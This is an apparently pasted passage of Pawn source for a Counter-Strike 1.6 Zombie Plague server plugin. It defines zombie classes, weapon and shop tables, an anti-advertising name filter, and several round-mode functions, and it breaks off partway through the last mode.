· 6 years ago · Jul 11, 2019, 04:10 PM
1#include zombie_plague_remake
2#include sqlx
3
4#pragma compress 1
5#pragma dynamic 8000000
6#pragma tabsize 0
7
8enum timeUnit
9{
10 timeUnit_None = 0,
11 timeUnit_Seconds,
12 timeUnit_Minutes,
13 timeUnit_Hours,
14 timeUnit_Days,
15 timeUnit_Weeks,
16 timeUnit_Count
17};
18
19const PRIMARY_WEAPONS_BIT_SUM = (1<<CSW_SCOUT)|(1<<CSW_XM1014)|(1<<CSW_MAC10)|(1<<CSW_AUG)|(1<<CSW_UMP45)|(1<<CSW_SG550)|(1<<CSW_GALIL)|(1<<CSW_FAMAS)|(1<<CSW_AWP)|(1<<CSW_MP5NAVY)|(1<<CSW_M249)|(1<<CSW_M3)|(1<<CSW_M4A1)|(1<<CSW_TMP)|(1<<CSW_G3SG1)|(1<<CSW_SG552)|(1<<CSW_AK47)|(1<<CSW_P90);
20const SECONDARY_WEAPONS_BIT_SUM = (1<<CSW_P228)|(1<<CSW_ELITE)|(1<<CSW_FIVESEVEN)|(1<<CSW_USP)|(1<<CSW_GLOCK18)|(1<<CSW_DEAGLE);
21
22new const g_szDefaultName[ ] = "NewLifeZm.CsOutStanding.Com";
23
24new g_szRestrictedThings[ ][ ] =
25{
26 "cs.",
27 "street",
28 "newlife",
29 "csblackdevil",
30 "<Warrior> Player",
31 "gametracker",
32 "`",
33 "~",
34 ".com",
35 ".net",
36 ".org",
37 ".co",
38 ".info",
39 ".eu",
40 ".ge",
41 ".biz",
42 ".il",
43 ".li",
44 ".ro",
45 ". es",
46 ". fr",
47 ". biz",
48 ". ge",
49 ". eu",
50 ". li",
51 ". il",
52 ". com",
53 ". co",
54 ". net",
55 ". org",
56 ". info",
57 ". br",
58 ". ro",
59 "www",
60 "w w",
61 "w w",
62 "w w",
63 ":27",
64 "goto",
65 "go to",
66 ": 27",
67 ": 2 7",
68 ": 27",
69 ": 2 7",
70 ": 2 7",
71 ": 2",
72 ":29",
73 ": 29",
74 ": 2 9",
75 ": 29",
76 ": 2 9",
77 "89.",
78 "8 9",
79 "8 9",
80 "8 9",
81 "8 9",
82 "8,9.",
83 "8,9 .",
84 "8, 9 .",
85 "89 .",
86 "8 9 .",
87 "188.",
88 "188 .",
89 "1 8 8",
90 ". c o m",
91 "player",
92 ".c om",
93 "http:",
94 "http :",
95 "h t t",
96 "-serv",
97 "hns",
98 "jailbreak",
99 ". 1",
100 ". 1",
101 ". 1",
102 ". 2",
103 ". 2",
104 ". 2",
105 ". 3",
106 ". 3",
107 ". 3",
108 ". 4",
109 ". 4",
110 ". 4",
111 ". 5",
112 ". 5",
113 ". 5",
114 ". 6",
115 ". 6",
116 ". 6",
117 ". 7",
118 ". 7",
119 ". 7",
120 ". 8",
121 ". 8",
122 ". 8",
123 ". 9",
124 ". 9",
125 ". 9",
126 ". 0",
127 ". 0",
128 ". 0",
129 "cutita",
130 "c u t",
131 ". ro",
132 ". ro",
133 ".178",
134 "27015",
135 "connect",
136 "admini f",
137 "admins f",
138 "admin f",
139 "c o n",
140 "c o n",
141 "c on",
142 "c o",
143 "c o",
144 "c o",
145 "c s .",
146 "c s.",
147 "c s .",
148 "c s",
149 "c s",
150 "c s"
151}
152
153new const szObjectives[][] =
154{
155 "func_bomb_target",
156 "info_bomb_target",
157 "info_vip_start",
158 "func_vip_safetyzone",
159 "func_escapezone",
160 "hostage_entity",
161 "monster_scientist",
162 "func_hostage_rescue",
163 "info_hostage_rescue",
164 "env_fog",
165 "env_rain",
166 "env_snow"
167}
168
169new g_pZombieFall[2][0] =
170{
171 "ZombieOutstanding/zombie_hit_01.wav",
172 "ZombieOutstanding/zombie_hit_03.wav"
173};
174
175new g_pZombieHitNormal[4][0] =
176{
177 "weapons/knife_hit1.wav",
178 "weapons/knife_hit2.wav",
179 "weapons/knife_hit3.wav",
180 "weapons/knife_hit4.wav"
181};
182
183new g_pZombieMissSlash[2][0] =
184{
185 "weapons/knife_slash1.wav",
186 "weapons/knife_slash2.wav"
187};
188
189new g_pZombieMissWall[2][0] =
190{
191 "weapons/knife_slash1.wav",
192 "weapons/knife_slash2.wav"
193};
194
195new g_pZombieDieSounds[5][0] =
196{
197 "ZombieOutstanding/zombie_die_01.wav",
198 "ZombieOutstanding/zombie_die_02.wav",
199 "ZombieOutstanding/zombie_die_03.wav",
200 "ZombieOutstanding/zombie_die_04.wav",
201 "ZombieOutstanding/zombie_die_05.wav"
202};
203
204new g_pMonsterHitSounds[3][0] =
205{
206 "ZombieOutstanding/monster_hit_01.wav",
207 "ZombieOutstanding/monster_hit_02.wav",
208 "ZombieOutstanding/monster_hit_03.wav"
209};
210
211new g_pZombieHitSounds[5][0] =
212{
213 "ZombieOutstanding/zombie_hit_01.wav",
214 "ZombieOutstanding/zombie_hit_02.wav",
215 "ZombieOutstanding/zombie_hit_03.wav",
216 "ZombieOutstanding/zombie_hit_04.wav",
217 "ZombieOutstanding/zombie_hit_05.wav"
218};
219
220new g_cZombieInfectSounds[5][0] =
221{
222 "ZombieOutstanding/zombie_infect_01.wav",
223 "ZombieOutstanding/zombie_infect_02.wav",
224 "ZombieOutstanding/zombie_infect_03.wav",
225 "ZombieOutstanding/zombie_infect_04.wav",
226 "ZombieOutstanding/zombie_infect_05.wav"
227};
228
229new g_cEndRoundZombieSounds[4][0] =
230{
231 "ZombieOutstanding/end_round_win_zombies_01.wav",
232 "ZombieOutstanding/end_round_win_zombies_02.wav",
233 "ZombieOutstanding/end_round_win_zombies_03.wav",
234 "ZombieOutstanding/end_round_win_zombies_04.wav"
235};
236new g_cEndRoundHumanSounds[3][0] =
237{
238 "ZombieOutstanding/end_round_win_humans_01.wav",
239 "ZombieOutstanding/end_round_win_humans_02.wav",
240 "ZombieOutstanding/end_round_win_humans_03.wav"
241};
242
243new g_cStartRoundSurvivorSounds[2][0] =
244{
245 "ZombieOutstanding/round_start_survivor_01.wav",
246 "ZombieOutstanding/round_start_survivor_02.wav"
247};
248new g_cStartRoundNemesisSounds[2][0] =
249{
250 "ZombieOutstanding/round_start_nemesis_01.wav",
251 "ZombieOutstanding/round_start_nemesis_02.wav"
252};
253
254new g_cHumanNadeInfectSounds[3][0] =
255{
256 "ZombieOutstanding/human_nade_infect_scream_01.wav",
257 "ZombieOutstanding/human_nade_infect_scream_02.wav",
258 "ZombieOutstanding/human_nade_infect_scream_03.wav"
259};
260
261new g_cZombieBurnSounds[5][0] =
262{
263 "ZombieOutstanding/zombie_burn_01.wav",
264 "ZombieOutstanding/zombie_burn_02.wav",
265 "ZombieOutstanding/zombie_burn_03.wav",
266 "ZombieOutstanding/zombie_burn_04.wav",
267 "ZombieOutstanding/zombie_burn_05.wav"
268};
269new g_cHumanModels[4][0] =
270{
271 "terror",
272 "gign",
273 "sas",
274 "arctic"
275};
276new g_cZombieModels[7][0] =
277{
278 "z_out_clasic",
279 "z_out_raptor",
280 "z_out_mutant",
281 "z_out_tight",
282 "z_out_regenerator",
283 "z_out_predator_blue",
284 "z_out_hunter"
285};
286new g_cZombieClaws[7][0] =
287{
288 "models/ZombieOutstanding/z_out_clasic_claws.mdl",
289 "models/ZombieOutstanding/z_out_raptor_claws.mdl",
290 "models/ZombieOutstanding/z_out_mutant_claws.mdl",
291 "models/ZombieOutstanding/z_out_tight_claws.mdl",
292 "models/ZombieOutstanding/z_out_raptor_claws.mdl",
293 "models/ZombieOutstanding/z_out_predator_blue_claws.mdl",
294 "models/ZombieOutstanding/z_out_hunter_claws.mdl"
295};
296new g_iZombieHealths[7] =
297{
298 6000, 5250, 7500, 4250, 5500, 6000, 5450
299}
300new Float:g_fZombieGravities[7] =
301{
302 1.00, 0.94, 1.09, 0.57, 1.00, 0.74, 0.60
303}
304new Float:g_fZombieSpeeds[7] =
305{
306 264.0, 309.0, 244.0, 259.0, 249.0, 279.0, 274.0
307}
308new Float:g_fZombieKnockbacks[7] =
309{
310 0.82, 1.29, 0.43, 1.0, 0.88, 0.68, 0.83
311}
312new g_cZombieClasses[7][14] =
313{
314 "Clasic",
315 "Raptor",
316 "Mutant",
317 "Tight",
318 "Regenerator",
319 "Predator Blue",
320 "Hunter"
321};
322new g_cZombieAttribs[7][0] =
323{
324 "\r[=Balanced=]",
325 "\r[Speed +++]",
326 "\r[Health +++]",
327 "\r[Double Jump]",
328 "\r[Regeneration]",
329 "\r[Powerful]",
330 "\r[Silent Killer]"
331};
332
333new g_cSecondaryWeapons[6][0] =
334{
335 "USP",
336 "GLOCK18",
337 "P228",
338 "DEAGLE",
339 "ELITE",
340 "FIVESEVEN"
341};
342new g_cPrimaryWeapons[10][0] =
343{
344 "GALIL",
345 "FAMAS",
346 "M4A1",
347 "AK47",
348 "AUG",
349 "SG552",
350 "XM1014",
351 "M3",
352 "MP5NAVY",
353 "P90"
354};
355new g_cSecondaryEntities[6][0] =
356{
357 "weapon_usp",
358 "weapon_glock18",
359 "weapon_p228",
360 "weapon_deagle",
361 "weapon_elite",
362 "weapon_fiveseven"
363};
364new g_cPrimaryEntities[10][0] =
365{
366 "weapon_galil",
367 "weapon_famas",
368 "weapon_m4a1",
369 "weapon_ak47",
370 "weapon_aug",
371 "weapon_sg552",
372 "weapon_xm1014",
373 "weapon_m3",
374 "weapon_mp5navy",
375 "weapon_p90"
376};
377
378new const Float: g_flCoords[8][0] =
379{
380 { 0.50, 0.40 },
381 { 0.56, 0.44 },
382 { 0.60, 0.50 },
383 { 0.56, 0.56 },
384 { 0.50, 0.60 },
385 { 0.44, 0.56 },
386 { 0.40, 0.50 },
387 { 0.44, 0.44 }
388};
389
390new Float:kb_weapon_power[] =
391{
392 -1.0,
393 2.4,
394 -1.0,
395 6.5,
396 -1.0,
397 8.0,
398 -1.0,
399 2.3,
400 5.0,
401 -1.0,
402 2.4,
403 2.0,
404 2.4,
405 5.3,
406 5.5,
407 5.5,
408 2.2,
409 2.0,
410 10.0,
411 2.5,
412 5.2,
413 8.0,
414 5.0,
415 2.4,
416 6.5,
417 -1.0,
418 5.3,
419 5.0,
420 6.0,
421 -1.0,
422 2.0
423}
424
425new const MAXCLIP[] =
426{
427 -1,
428 13,
429 -1,
430 10,
431 1,
432 7,
433 -1,
434 30,
435 30,
436 1,
437 30,
438 20,
439 25,
440 30,
441 35,
442 25,
443 12,
444 20,
445 10,
446 30,
447 100,
448 8,
449 30,
450 30,
451 20,
452 2,
453 7,
454 30,
455 30,
456 -1,
457 50
458};
459
460new const Float:sizez[][3] =
461{
462 {0.0, 0.0, 1.0},
463 {0.0, 0.0, -1.0},
464 {0.0, 1.0, 0.0},
465 {0.0, -1.0, 0.0},
466 {1.0, 0.0, 0.0},
467 {-1.0, 0.0, 0.0},
468 {-1.0, 1.0, 1.0},
469 {1.0, 1.0, 1.0},
470 {1.0, -1.0, 1.0},
471 {1.0, 1.0, -1.0},
472 {-1.0, -1.0, 1.0},
473 {1.0, -1.0, -1.0},
474 {-1.0, 1.0, -1.0},
475 {-1.0, -1.0, -1.0},
476 {0.0, 0.0, 2.0},
477 {0.0, 0.0, -2.0},
478 {0.0, 2.0, 0.0},
479 {0.0, -2.0, 0.0},
480 {2.0, 0.0, 0.0},
481 {-2.0, 0.0, 0.0},
482 {-2.0, 2.0, 2.0},
483 {2.0, 2.0, 2.0},
484 {2.0, -2.0, 2.0},
485 {2.0, 2.0, -2.0},
486 {-2.0, -2.0, 2.0},
487 {2.0, -2.0, -2.0},
488 {-2.0, 2.0, -2.0},
489 {-2.0, -2.0, -2.0},
490 {0.0, 0.0, 3.0},
491 {0.0, 0.0, -3.0},
492 {0.0, 3.0, 0.0},
493 {0.0, -3.0, 0.0},
494 {3.0, 0.0, 0.0},
495 {-3.0, 0.0, 0.0},
496 {-3.0, 3.0, 3.0},
497 {3.0, 3.0, 3.0},
498 {3.0, -3.0, 3.0},
499 {3.0, 3.0, -3.0},
500 {-3.0, -3.0, 3.0},
501 {3.0, -3.0, -3.0},
502 {-3.0, 3.0, -3.0},
503 {-3.0, -3.0, -3.0},
504 {0.0, 0.0, 4.0},
505 {0.0, 0.0, -4.0},
506 {0.0, 4.0, 0.0},
507 {0.0, -4.0, 0.0},
508 {4.0, 0.0, 0.0},
509 {-4.0, 0.0, 0.0},
510 {-4.0, 4.0, 4.0},
511 {4.0, 4.0, 4.0},
512 {4.0, -4.0, 4.0},
513 {4.0, 4.0, -4.0},
514 {-4.0, -4.0, 4.0},
515 {4.0, -4.0, -4.0},
516 {-4.0, 4.0, -4.0},
517 {-4.0, -4.0, -4.0},
518 {0.0, 0.0, 5.0},
519 {0.0, 0.0, -5.0},
520 {0.0, 5.0, 0.0},
521 {0.0, -5.0, 0.0},
522 {5.0, 0.0, 0.0},
523 {-5.0, 0.0, 0.0},
524 {-5.0, 5.0, 5.0},
525 {5.0, 5.0, 5.0},
526 {5.0, -5.0, 5.0},
527 {5.0, 5.0, -5.0},
528 {-5.0, -5.0, 5.0},
529 {5.0, -5.0, -5.0},
530 {-5.0, 5.0, -5.0},
531 {-5.0, -5.0, -5.0}
532};
533
534new g_cShopItems[8][0] =
535{
536 "Double Damage",
537 "Buy Server Slot",
538 "Buy Admin Model",
539 "100 Ammo Packs",
540 "200 Ammo Packs",
541 "300 Ammo Packs",
542 "God Mode",
543 "1000 Points"
544};
545new g_iShopItemsPrices[8] =
546{
547 120, 700, 2250, 160, 200, 280, 150, 450
548}
549new g_iShopItemsTeams[8] =
550{
551 2, 0, 0, 0, 0, 0, 2, 0
552}
553new g_cShopItemsPrices[8][0] =
554{
555 "\r[120 points]",
556 "\r[700 points]\y (Recommended)",
557 "\r[2250 points]",
558 "\r[160 points]",
559 "\r[200 points]",
560 "\r[280 points]",
561 "\r[150 points]",
562 "\r[500 ammo packs]\y (Special)"
563};
564
565new g_cExtraItems[25][0] =
566{
567 "Antidote",
568 "Fire Grenade",
569 "Freeze Grenade",
570 "Explosion Grenade",
571 "Infection Grenade",
572 "Killing Grenade",
573 "M249 Machine Gun",
574 "G3SG1 Auto Sniper Rifle",
575 "SG550 Auto Sniper Rifle",
576 "AWP Sniper Rifle",
577 "Nightvision Googles",
578 "Zombie Madness",
579 "Jetpack + Bazooka",
580 "Unlimited Clip",
581 "Armor\y (100ap)",
582 "Armor\y (200ap)",
583 "Multijump +1",
584 "Tryder",
585 "Golden Kalashnikov\y (AK-47)",
586 "Golden Deagle\y (Night Hawk)",
587 "Survivor",
588 "Sniper",
589 "Nemesis",
590 "Assassin",
591 "Knife Blink"
592};
593new g_iExtraItemsPrices[25] =
594{
595 15, 4, 3, 4, 26, 30, 9, 11, 10, 9, 2, 15, 30, 10, 5, 10, 5, 30, 36, 20, 180, 175, 140, 140, 10
596}
597new g_cExtraItemsPrices[25][0] =
598{
599 "\r[15 packs]",
600 "\r[4 packs]",
601 "\r[3 packs]",
602 "\r[4 packs]",
603 "\r[26 packs]",
604 "\r[42 packs]",
605 "\r[9 packs]",
606 "\r[11 packs]",
607 "\r[10 packs]",
608 "\r[9 packs]",
609 "\r[2 packs]",
610 "\r[15 packs]",
611 "\r[30 packs]",
612 "\r[10 packs]",
613 "\r[5 packs]",
614 "\r[10 packs]",
615 "\r[5 packs]",
616 "\r[30 packs]",
617 "\r[36 packs]",
618 "\r[20 packs]",
619 "\r[180 packs]",
620 "\r[175 packs]",
621 "\r[140 packs]",
622 "\r[140 packs]",
623 "\r[10 packs]"
624};
625new g_iExtraItemsTeams[25] =
626{
627 1, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1
628}
629
630new bool:g_bConnected[33], g_cName[33][32], bool:g_bAlive[33], bool:g_bZombie[33], g_iMaxClients, bool:g_bRoundEnd, g_iPlayerType[33], g_iAntidoteSync, g_iZombieNextClass[33], bool:g_bFake[33], g_iZombieClass[33], g_iGameMenu,
631
632g_iMenuZombieClasses, g_iWeapon[33], bool:g_bRoundStart, g_iRoundType, g_iTopMessageSync, g_iRoundsCount, g_iRounds[1024], g_iCounter, g_iCounterMessage, g_iAliveCount, g_iLastMode, Float:g_fLastLeapTime[33], bool:g_bFlash[33],
633
634bool:g_bFlashEnabled[33], Float:g_fLastTime[33], g_iSecondaryMenu, g_iPrimaryMenu, g_iSecondaryWeapons[64], g_iPrimaryWeapons[64], bool:g_bNoDamage[33], g_iPosition[33], g_bFrozen[33], g_iJumps[33], g_iMaxJumps[33], g_iPacks[33],
635
636Float:g_fDamage[33], g_iShopMenu, g_iPoints[33], g_iCenterMessageSync, g_iDownMessageSync, g_cClass[33][14], FreezeTime, g_iMenu, g_iVersusSync, Array:g_aNameData, Array:g_aAmmoData, g_iShopEventHudmessage, bool:g_bDoubleDamage[33],
637
638bool:g_bServerSlot[33], bool:g_bAdminModel[33], g_iMenuExtraItems, Float:g_fLastChangedModel, g_bUnlimitedClip[33], bool:g_bTryder[33], g_iEventsHudmessage, g_iSurvivors, g_iModeRecordings, g_cModeRecordings[52][32], Float:g_fRoundStartTime,
639
640g_iSnipers, g_iBlinks[33], Float:g_fGagTime[33], bool:g_bGolden[33], bool:g_bGoldenDeagle[33], SpriteTexture, bool:g_bGaveThisRound[33], iFwSpawnHook, g_iLaser, g_cRegisteredCharacter[32], g_Secret[32], Array:g_vname, Array:g_vflags, Array:g_vpwd,
641
642bool:g_vip[33], g_vip_flags[33][32], jumpnum[33] = 0, bool:dojump[33] = false, ExploSpr, FlameSpr, SmokeSpr, GlassSpr, HExplode, g_iBurningDuration[33], TrailSpr, bool:g_bKilling[33], on_stuck[33], g_iTripMines[ 33 ], g_iPlantedMines[ 33 ], g_iPlanting[ 33 ],
643
644g_iRemoving[ 33 ], g_hExplode, g_iMineMessage, g_iSecondMineMessage, g_iKillsThisRound[33], g_cQuery[256], bool:g_bRanked[33], Float:g_fLastRankQuery, g_iRemainingSync, SwitchingTeam, bool:g_bModeStarted, g_iRegenerationSync, g_roundend, g_iOffset[ 33 ][ 2 ],
645
646g_iArgumentPing[ 33 ][ 3 ], g_iPingOverride[ 33 ] = { -1, ... }, g_iPing, g_iFlux, g_ip[33][64], g_steam[33][64], g_iEnemy[33], Float:g_fLastSlash[33], g_iCanceled[33], g_iSlash[33], g_iInBlink[33], g_cPlayerAddress[33][24], g_cLNames[10][32], Float:g_fLast[33],
647
648g_iSize, g_iTracker, g_cAddresses[10][24], g_cNames[10][32], g_iVariable, g_iTimeLimit, g_iAdvertisementsCount, g_cHudAdvertisements[50][188], g_iHudAdvertisementsCount, g_iMessage, g_iHudMessage, g_cAdvertisements[72][188], g_vault=-1, TaskReward[33],
649
650Float:TeamsTargetTime, g_city[33][64], g_country[33][64];
651
652static Handle:g_Tuple = Empty_Handle;
653static g_Query[1024] = { 0, ... };
654static g_Name[33][64];
655static g_Steam[33][64];
656static g_Ip[33][64];
657static g_seenString[33][64];
658static g_timeString[33][64];
659static g_Time[33] = { 0, ... };
660static g_Score[33] = { 0, ... };
661static g_Seen[33] = { 0, ... };
662static g_Kills[33] = { 0, ... };
663static g_Deaths[33] = { 0, ... };
664static g_headShots[33] = { 0, ... };
665static g_kmdValue[33] = { 0, ... };
666static Float:g_kpdRatio[33] = { 0.0, ... };
667static g_recordsCount = 0;
668
669StartSwarmMode(bool:bForced)
670{
671 if ((g_iAliveCount > 9 && g_iLastMode != 64 && random_num(1, 22) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
672 {
673 g_iLastMode = 64;
674 g_iRoundType = g_iRoundType | 64;
675 static i;
676 i = 1;
677 while (g_iMaxClients + 1 > i)
678 {
679 if (!g_bAlive[i] || fm_cs_get_user_team(i) == FM_CS_TEAM_CT)
680 {
681 remove_task(i + TASK_TEAM);
682 fm_cs_set_user_team(i, FM_CS_TEAM_CT);
683 fm_user_team_update(i);
684 }
685 else
686 {
687 MakeZombie(0, i, true, false, false);
688 }
689 i += 1;
690 }
691 client_cmd(0, "spk ZombieOutstanding/round_start_plague");
692 set_hudmessage(20, 255, 20, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
693 ShowSyncHudMsg(0, g_iTopMessageSync, "Swarm Round !!");
694 remove_task(600, 0);
695 set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
696 g_bModeStarted = true;
697 return 0;
698 }
699 StartPlagueMode(false);
700 return 0;
701}
702
703StartPlagueMode(bool:bForced)
704{
705 if ((g_iAliveCount > 9 && g_iLastMode != 32 && random_num(1, 28) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
706 {
707 g_iLastMode = 32;
708 g_iRoundType = g_iRoundType | 32;
709 static iNemesis;
710 static iMaxNemesis;
711 static i;
712 static iMaxSurvivors;
713 static iSurvivors;
714 static iMaxZombies;
715 static iZombies;
716 iMaxSurvivors = 3;
717 iMaxNemesis = 2;
718 iZombies = 0;
719 iNemesis = 0;
720 iSurvivors = 0;
721 while (iSurvivors < iMaxSurvivors)
722 {
723 i = GetRandomAlive();
724 if (!(g_iPlayerType[i] & 4))
725 {
726 MakeHuman(i, true, false);
727 iSurvivors += 1;
728 set_user_health(i, 5750);
729 }
730 }
731 while (iNemesis < iMaxNemesis)
732 {
733 i = GetRandomAlive();
734 if (!(g_iPlayerType[i] & 4 || g_iPlayerType[i] & 1))
735 {
736 MakeZombie(0, i, false, true, false);
737 iNemesis += 1;
738 set_user_health(i, 107500);
739 }
740 }
741 iMaxZombies = floatround(0.40 * g_iAliveCount + -5, floatround_floor);
742 while (iZombies < iMaxZombies)
743 {
744 i += 1;
745 if (i > g_iMaxClients)
746 {
747 i = 1;
748 }
749 if (!(!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 4))
750 {
751 if (random_num(0, 1))
752 {
753 MakeZombie(0, i, true, false, false);
754 iZombies += 1;
755 }
756 }
757 }
758 i = 1;
759 while (g_iMaxClients + 1 > i)
760 {
761 if (!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 4)
762 {
763 }
764 else
765 {
766 if (fm_cs_get_user_team(i) == FM_CS_TEAM_CT)
767 {
768 remove_task ( i + TASK_TEAM );
769 fm_cs_set_user_team ( i, FM_CS_TEAM_CT);
770 fm_user_team_update ( i );
771 }
772 }
773 i += 1;
774 }
775 client_cmd(0, "spk ZombieOutstanding/round_start_plague");
776 set_hudmessage(0, 50, 200, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
777 ShowSyncHudMsg(0, g_iTopMessageSync, "Plague Round !!");
778 remove_task(600, 0);
779 set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
780 g_bModeStarted = true;
781 return 0;
782 }
783 StartMultiMode(false);
784 return 0;
785}
786
787StartMultiMode(bool:bForced)
788{
789 if ((g_iAliveCount > 9 && g_iLastMode != 16 && random_num(1, 24) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
790 {
791 g_iLastMode = 16;
792 g_iRoundType = g_iRoundType | 16;
793 static i;
794 static iMaxZombies;
795 static iZombies;
796 iZombies = 0;
797 iMaxZombies = floatround(0.18 * g_iAliveCount, floatround_ceil);
798 i = random_num(1, g_iMaxClients);
799 while ( iZombies < iMaxZombies )
800 {
801 if ( ++ i > g_iMaxClients ) i = 1;
802
803 if ( !g_bAlive [i] || g_bZombie [i] ) continue;
804
805 if ( random_num ( 0, 1 ) )
806 {
807 MakeZombie(0, i, true, false, false);
808
809 iZombies ++;
810 }
811 }
812 for ( i = 1; i <= g_iMaxClients; i ++ )
813 {
814 if ( !g_bAlive [i] || g_bZombie [i] ) continue;
815
816 if ( fm_cs_get_user_team ( i ) != FM_CS_TEAM_CT )
817 {
818 remove_task ( i + TASK_TEAM );
819 fm_cs_set_user_team ( i, FM_CS_TEAM_CT );
820 fm_user_team_update ( i );
821 }
822 }
823 client_cmd(0, "spk ZombieOutstanding/round_start_plague");
824 set_hudmessage(200, 50, 0, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
825 ShowSyncHudMsg(0, g_iTopMessageSync, "Multiple Infections !!");
826 remove_task(600, 0);
827 set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
828 g_bModeStarted = true;
829 return 0;
830 }
831 StartArmageddonMode(false);
832 return 0;
833}
834
835StartArmageddonMode(bool:bForced)
836{
837 if ((g_iAliveCount > 9 && g_iLastMode != 128 && random_num(1, 33) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
838 {
839 g_iLastMode = 128;
840 g_iRoundType = g_iRoundType | 128;
841 static i;
842 static iMaxZombies;
843 static iZombies;
844 iZombies = 0;
845 iMaxZombies = floatround(0.44 * g_iAliveCount, floatround_floor);
846 i = random_num(1, g_iMaxClients);
847 while (iZombies < iMaxZombies)
848 {
849 i += 1;
850 if (i > g_iMaxClients)
851 {
852 i = 1;
853 }
854 if (!(!g_bAlive[i] || g_bZombie[i]))
855 {
856 if (random_num(0, 1))
857 {
858 MakeZombie(0, i, false, true, false);
859 set_user_health(i, 100000);
860 iZombies += 1;
861 }
862 }
863 }
864 i = 1;
865 while (g_iMaxClients + 1 > i)
866 {
867 if (!g_bAlive[i] || g_bZombie[i])
868 {
869 }
870 else
871 {
872 MakeHuman(i, true, false);
873 set_user_health(i, 8750);
874 }
875 i += 1;
876 }
877 if (random_num(0, 1))
878 {
879 client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
880 }
881 else
882 {
883 client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
884 }
885 set_hudmessage(181, 62, 244, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
886 ShowSyncHudMsg(0, g_iTopMessageSync, "Armageddon Round !!");
887 remove_task(600, 0);
888 set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
889 g_bModeStarted = true;
890 return 0;
891 }
892 StartNightmareMode(false);
893 return 0;
894}
895
896StartNightmareMode(bool:bForced)
897{
898 if ((g_iAliveCount > 9 && g_iLastMode != 256 && random_num(1, 36) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
899 {
900 g_iLastMode = 256;
901 g_iRoundType = g_iRoundType | 256;
902 static i;
903 static iMaxAssassins;
904 static iAssassins;
905 static iMaxSnipers;
906 static iSnipers;
907 static iMaxNemesis;
908 static iNemesis;
909 iAssassins = 0;
910 iSnipers = 0;
911 iNemesis = 0;
912 iMaxNemesis = floatround(0.24 * g_iAliveCount, floatround_floor);
913 iMaxAssassins = floatround(0.24 * g_iAliveCount, floatround_floor);
914 iMaxSnipers = floatround(0.25 * g_iAliveCount, floatround_ceil);
915 i = random_num(1, g_iMaxClients);
916 while (iNemesis < iMaxNemesis)
917 {
918 i += 1;
919 if (i > g_iMaxClients)
920 {
921 i = 1;
922 }
923 if (!(!g_bAlive[i] || g_bZombie[i]))
924 {
925 if (random_num(0, 1))
926 {
927 MakeZombie(0, i, false, true, false);
928 set_user_health(i, 105000);
929 iNemesis += 1;
930 }
931 }
932 }
933 while (iAssassins < iMaxAssassins)
934 {
935 i += 1;
936 if (i > g_iMaxClients)
937 {
938 i = 1;
939 }
940 if (!(!g_bAlive[i] || g_bZombie[i]))
941 {
942 if (random_num(0, 1))
943 {
944 MakeZombie(0, i, false, false, true);
945 set_user_health(i, 21000);
946 iAssassins += 1;
947 }
948 }
949 }
950 while (iSnipers < iMaxSnipers)
951 {
952 i += 1;
953 if (i > g_iMaxClients)
954 {
955 i = 1;
956 }
957 if (!(!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 8))
958 {
959 if (random_num(0, 1))
960 {
961 MakeHuman(i, false, true);
962 set_user_health(i, 10500);
963 iSnipers += 1;
964 }
965 }
966 }
967 i = 1;
968 while (g_iMaxClients + 1 > i)
969 {
970 if (!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 8 || g_iPlayerType[i] & 4)
971 {
972 }
973 else
974 {
975 MakeHuman(i, true, false);
976 set_user_health(i, 12500);
977 }
978 i += 1;
979 }
980 if (random_num(0, 1))
981 {
982 client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
983 }
984 else
985 {
986 client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
987 }
988 set_hudmessage(241, 15, 244, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
989 ShowSyncHudMsg(0, g_iTopMessageSync, "Nightmare Round !!");
990 remove_task(600, 0);
991 set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
992 g_bModeStarted = true;
993 return 0;
994 }
995 StartAssassinsVsSnipersMode(false);
996 return 0;
997}
998
999StartAssassinsVsSnipersMode(bool:bForced)
1000{
1001 if ((g_iAliveCount > 9 && g_iLastMode != 512 && random_num(1, 37) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
1002 {
1003 g_iLastMode = 512;
1004 g_iRoundType = g_iRoundType | 512;
1005 static i;
1006 i = 1;
1007 while (g_iMaxClients + 1 > i)
1008 {
1009 if (g_bAlive[i])
1010 {
1011 switch (fm_cs_get_user_team(i))
1012 {
1013 case 1:
1014 {
1015 MakeZombie(0, i, false, false, true);
1016 set_user_health(i, 31000);
1017 }
1018 case 2:
1019 {
1020 MakeHuman(i, false, true);
1021 set_user_health(i, 3850);
1022 }
1023 default:
1024 {
1025 }
1026 }
1027 }
1028 i += 1;
1029 }
1030 if (random_num(0, 1))
1031 {
1032 client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
1033 }
1034 else
1035 {
1036 client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
1037 }
1038 set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
1039 ShowSyncHudMsg(0, g_iTopMessageSync, "Assassins vs Snipers Round !!");
1040 remove_task(600, 0);
